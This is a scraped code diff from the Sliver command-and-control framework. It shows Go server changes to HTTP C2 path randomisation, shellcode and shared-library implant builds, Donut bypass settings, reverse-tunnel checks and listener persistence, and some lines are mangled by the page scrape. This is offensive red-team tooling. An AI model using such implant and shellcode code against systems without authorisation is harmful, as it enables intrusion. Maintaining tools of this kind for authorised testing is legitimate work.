closePaths = append(closePaths, pathSegment)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
if pathSegment.IsFile {
|
||||
files = append(files, pathSegment)
|
||||
} else {
|
||||
paths = append(paths, pathSegment)
|
||||
}
|
||||
}
|
||||
|
||||
sessionPaths = RandomPaths(sessionPaths, h.MinPaths, h.MaxPaths)
|
||||
pollPaths = RandomPaths(pollPaths, h.MinPaths, h.MaxPaths)
|
||||
closePaths = RandomPaths(closePaths, h.MinPaths, h.MaxPaths)
|
||||
|
||||
sessionFiles = RandomFiles(sessionFiles, h.MinFiles, h.MaxFiles)
|
||||
closeFiles = RandomFiles(closeFiles, h.MinFiles, h.MaxFiles)
|
||||
pollFiles = RandomFiles(pollFiles, h.MinFiles, h.MaxFiles)
|
||||
paths = RandomPaths(paths, h.MinPathGen, h.MaxPathGen)
|
||||
files = RandomFiles(files, h.MinFileGen, h.MaxFileGen)
|
||||
|
||||
var res []*clientpb.HTTPC2PathSegment
|
||||
res = append(res, sessionPaths...)
|
||||
res = append(res, closePaths...)
|
||||
res = append(res, pollPaths...)
|
||||
res = append(res, sessionFiles...)
|
||||
res = append(res, closeFiles...)
|
||||
res = append(res, pollFiles...)
|
||||
res = append(res, paths...)
|
||||
res = append(res, files...)
|
||||
return res
|
||||
}
|
||||
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minFiles int32, maxFiles int32) []*clientpb.HTTPC2PathSegment {
|
||||
if minFiles < 1 {
|
||||
minFiles = 1
|
||||
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, MinFileGen int32, MaxFileGen int32) []*clientpb.HTTPC2PathSegment {
|
||||
if MinFileGen < 1 {
|
||||
MinFileGen = 1
|
||||
}
|
||||
return randomSample(httpC2PathSegments, minFiles, maxFiles)
|
||||
return randomSample(httpC2PathSegments, MinFileGen, MaxFileGen)
|
||||
}
|
||||
|
||||
func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int32, maxPaths int32) []*clientpb.HTTPC2PathSegment {
|
||||
|
||||
@@ -153,6 +153,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -226,6 +227,7 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
|
||||
@@ -488,6 +488,7 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
ObfuscateSymbols: false,
|
||||
Format: clientpb.OutputFormat_SHARED_LIB,
|
||||
IsSharedLib: true,
|
||||
Exports: []string{"StartW"},
|
||||
WGPeerTunIP: "100.64.0.2",
|
||||
WGKeyExchangePort: 1234,
|
||||
WGTcpCommsPort: 5678,
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/go-donut/donut"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
@@ -34,6 +35,9 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
if createNewThread {
|
||||
thread = 1
|
||||
}
|
||||
|
||||
serverConf := configs.GetServerConfig()
|
||||
|
||||
donutArch := getDonutArch(arch)
|
||||
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
|
||||
// in the task runner, and we're doing some housekeeping on it.
|
||||
@@ -47,8 +51,8 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
|
||||
Parameters: params,
|
||||
Class: className,
|
||||
Method: method,
|
||||
Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
|
||||
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
|
||||
Arch: donutArch,
|
||||
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
|
||||
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
|
||||
|
||||
@@ -226,9 +226,14 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
|
||||
req := &sliverpb.TunnelData{}
|
||||
proto.Unmarshal(data, req)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
|
||||
if !rtunnels.Check(session.ID, remoteAddress) {
|
||||
sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
|
||||
return nil
|
||||
}
|
||||
defer rtunnels.DeletePending(session.ID)
|
||||
|
||||
var defaultDialer = new(net.Dialer)
|
||||
|
||||
ctx, cancelContext := context.WithCancel(context.Background())
|
||||
|
||||
|
||||
@@ -109,8 +109,10 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
|
||||
return nil, ErrInvalidBeaconTaskID
|
||||
}
|
||||
if task.State == models.PENDING {
|
||||
task.State = models.CANCELED
|
||||
err = db.Session().Save(task).Error
|
||||
err = db.Session().Model(&models.BeaconTask{}).
|
||||
Where("id=?", task.ID).
|
||||
Updates(map[string]interface{}{"state": models.CANCELED}).
|
||||
Error
|
||||
if err != nil {
|
||||
beaconRpcLog.Errorf("Database error: %s", err)
|
||||
return nil, ErrDatabaseFailure
|
||||
|
||||
@@ -62,15 +62,6 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
|
||||
if req.Overwrite && req.C2Config.Name == "" {
|
||||
return nil, configs.ErrMissingC2ProfileName
|
||||
}
|
||||
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, req.C2Config.Name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
|
||||
if err != nil {
|
||||
|
||||
@@ -747,10 +747,11 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
|
||||
if req.PrependSize {
|
||||
fileData = prependPayloadSize(fileData)
|
||||
}
|
||||
stage2 = fileData
|
||||
|
||||
if req.Compress != "" {
|
||||
stageType = req.Compress + " - "
|
||||
stage2, err = Compress(fileData, req.Compress)
|
||||
stage2, err = Compress(stage2, req.Compress)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -129,7 +129,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
|
||||
Type: constants.MtlsStr,
|
||||
MTLSConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -180,7 +180,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
|
||||
Type: constants.WGStr,
|
||||
WGConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -205,7 +205,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
|
||||
Type: constants.DnsStr,
|
||||
DNSConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -237,7 +237,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
|
||||
Type: constants.HttpsStr,
|
||||
HTTPConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -269,7 +269,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
|
||||
Type: constants.HttpStr,
|
||||
HTTPConf: req,
|
||||
}
|
||||
err = db.SaveHTTPC2Listener(listenerJob)
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core/rtunnels"
|
||||
)
|
||||
|
||||
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
|
||||
@@ -38,6 +39,7 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -22,8 +22,10 @@ import (
|
||||
"context"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
)
|
||||
|
||||
// StartTCPStagerListener starts a TCP stager listener
|
||||
@@ -36,6 +38,17 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
listenerJob := &clientpb.ListenerJob{
|
||||
JobID: uint32(job.ID),
|
||||
Type: constants.StageListenerStr,
|
||||
TCPConf: req,
|
||||
}
|
||||
err = db.SaveC2Listener(listenerJob)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user